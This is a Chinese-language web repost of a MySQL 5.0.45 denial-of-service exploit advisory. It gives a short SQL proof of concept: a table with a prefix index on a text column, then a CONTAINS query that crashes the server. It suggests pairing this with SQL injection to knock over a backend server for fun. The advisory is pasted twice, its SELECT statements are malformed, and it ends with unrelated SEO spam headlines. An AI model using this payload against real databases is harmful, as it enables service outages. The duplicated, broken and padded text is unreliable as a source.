mysql 5.0.45 (修改)拒绝服务漏洞
网络编程 2021-07-05 15:27www.168986.cn编程入门
mysql 5.0.45 (修改)拒绝服务漏洞的方法,追求安全的朋友可以参考下。
mysql 5.0.45 (修改)拒绝服务漏洞
/
MySQL <=6.0 possibly affected
Kristian Erik Hermansen
Credit: Joe Gallo
You must have Alter permissions to exploit this bug!
Scenario: You found SQL injection, but you want to punch backend server
in the nuts just for fun. Start with the Alter TABLE statement on
a table and field you know to exist. The first two SQL statements are
simply to demostrate reproducibility...
/
<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected
mysql> Select FROM test Where CONTAINS(foo, ''bar'');
Empty set
mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
mysql> Select FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
/
MySQL <=6.0 possibly affected
Kristian Erik Hermansen
Credit: Joe Gallo
You must have Alter permissions to exploit this bug!
Scenario: You found SQL injection, but you want to punch backend server
in the nuts just for fun. Start with the Alter TABLE statement on
a table and field you know to exist. The first two SQL statements are
simply to demostrate reproducibility...
/
<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected
mysql> Select FROM test Where CONTAINS(foo, ''bar'');
Empty set
mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0
mysql> Select FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
编程语言
- 甘肃哪有关键词排名优化购买方式有哪些
- 甘肃SEO如何做网站优化
- 河南seo关键词优化怎么做电话营销
- 北京SEO优化如何做QQ群营销
- 来宾百度关键词排名:提升您网站曝光率的关键
- 卢龙关键词优化:提升您网站排名的策略与技巧
- 山东网站优化的注意事项有哪些
- 四川整站优化怎样提升在搜索引擎中的排名
- 疏附整站优化:提升网站性能与用户体验的全新
- 海南seo主要做什么工作售后服务要做到哪些
- 荣昌百度网站优化:提升您网站的搜索引擎排名
- 河北seo网站排名关键词优化如何做SEO
- 江西优化关键词排名推广售后保障一般有哪些
- 古浪SEO优化:提升你的网站可见性
- 西藏网站排名优化怎么把网站排名在百度首页
- 如何提升阳东百度快照排名:详尽指南